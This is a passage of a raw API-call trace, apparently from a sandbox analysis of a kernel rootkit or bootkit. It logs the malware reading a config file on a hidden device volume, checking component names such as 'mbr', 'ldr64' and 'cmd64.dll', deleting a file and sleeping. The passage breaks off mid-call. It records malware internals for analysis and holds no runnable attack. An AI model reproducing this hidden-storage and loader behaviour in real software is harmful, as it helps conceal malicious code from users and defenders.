[0122.636] KeEnterCriticalRegion () [0122.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] KeLeaveCriticalRegion () [0122.636] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.636] KeEnterCriticalRegion () [0122.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.636] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.636] IdePortDispatch () returned 0x103 [0122.636] KeWaitForMutexObject () returned 0x0 [0122.636] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] KeLeaveCriticalRegion () [0122.636] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.636] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.636] KeEnterCriticalRegion () [0122.636] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.636] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf9000 [0122.636] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.636] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.636] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.636] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.636] IdePortDispatch () returned 0x103 [0122.637] KeWaitForMutexObject () returned 0x0 [0122.637] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.637] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.637] IdePortDispatch () returned 0x103 [0122.637] KeWaitForMutexObject () returned 0x0 [0122.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.637] KeLeaveCriticalRegion () [0122.637] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.637] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.637] KeEnterCriticalRegion () [0122.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] KeLeaveCriticalRegion () [0122.638] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.638] KeEnterCriticalRegion () [0122.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.638] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6ac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] KeLeaveCriticalRegion () [0122.638] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.638] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.638] KeEnterCriticalRegion () [0122.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] ExFreePoolWithTag (P=0xfffffa8003bbc590, Tag=0x0) [0122.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.638] KeLeaveCriticalRegion () [0122.638] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.638] ReleaseMutex (hMutex=0xf0) returned 1 [0122.638] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.645] KeEnterCriticalRegion () [0122.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.645] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.645] IdePortDispatch () returned 0x103 [0122.645] KeWaitForMutexObject () returned 0x0 [0122.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.645] KeLeaveCriticalRegion () [0122.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.645] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.645] KeEnterCriticalRegion () [0122.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.646] KeLeaveCriticalRegion () [0122.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.646] KeEnterCriticalRegion () [0122.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.646] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.646] IdePortDispatch () returned 0x103 [0122.646] KeWaitForMutexObject () returned 0x0 [0122.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.646] KeLeaveCriticalRegion () [0122.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.646] KeEnterCriticalRegion () [0122.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfc000 [0122.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.646] IdePortDispatch () returned 0x103 [0122.646] KeWaitForMutexObject () returned 0x0 [0122.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.646] IdePortDispatch () returned 0x103 [0122.647] KeWaitForMutexObject () returned 0x0 [0122.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.647] KeLeaveCriticalRegion () [0122.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.647] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.647] KeEnterCriticalRegion () [0122.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.647] KeLeaveCriticalRegion () [0122.647] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.647] KeEnterCriticalRegion () [0122.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.647] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.647] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.647] KeLeaveCriticalRegion () [0122.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.647] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.647] KeEnterCriticalRegion () [0122.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.648] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.648] KeLeaveCriticalRegion () [0122.648] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.648] ReleaseMutex (hMutex=0xf0) returned 1 [0122.648] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.648] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.648] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.648] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.648] KeEnterCriticalRegion () [0122.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.648] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.648] IdePortDispatch () returned 0x103 [0122.648] KeWaitForMutexObject () returned 0x0 [0122.648] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.648] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.648] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.648] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.648] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.648] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.648] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.648] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.648] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.648] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.648] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.648] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.648] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.648] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.648] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.648] KeLeaveCriticalRegion () [0122.648] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.648] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.649] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.649] KeEnterCriticalRegion () [0122.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.649] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.649] IdePortDispatch () returned 0x103 [0122.649] KeWaitForMutexObject () returned 0x0 [0122.649] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.649] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.649] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.649] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.649] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.649] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.649] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.649] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.649] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.649] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.649] KeLeaveCriticalRegion () [0122.649] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.649] ReleaseMutex (hMutex=0x100) returned 1 [0122.649] Sleep (dwMilliseconds=0x2bf20) [0122.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c4ef370, dwHighDateTime=0x1d24fa4)) [0122.656] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.657] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.657] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.657] KeEnterCriticalRegion () [0122.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.657] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.657] IdePortDispatch () returned 0x103 [0122.657] KeWaitForMutexObject () returned 0x0 [0122.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.657] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.657] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.657] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.657] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.657] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5d50 [0122.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.657] KeLeaveCriticalRegion () [0122.657] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.657] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.657] KeEnterCriticalRegion () [0122.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.657] KeLeaveCriticalRegion () [0122.657] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.657] KeEnterCriticalRegion () [0122.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.658] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.658] IdePortDispatch () returned 0x103 [0122.658] KeWaitForMutexObject () returned 0x0 [0122.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.658] KeLeaveCriticalRegion () [0122.658] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.658] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.658] KeEnterCriticalRegion () [0122.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.658] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cff000 [0122.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.658] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.658] IdePortDispatch () returned 0x103 [0122.658] KeWaitForMutexObject () returned 0x0 [0122.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.659] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.659] IdePortDispatch () returned 0x103 [0122.659] KeWaitForMutexObject () returned 0x0 [0122.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.659] KeLeaveCriticalRegion () [0122.659] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.659] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.659] KeEnterCriticalRegion () [0122.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] KeLeaveCriticalRegion () [0122.660] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.660] KeEnterCriticalRegion () [0122.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.660] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, 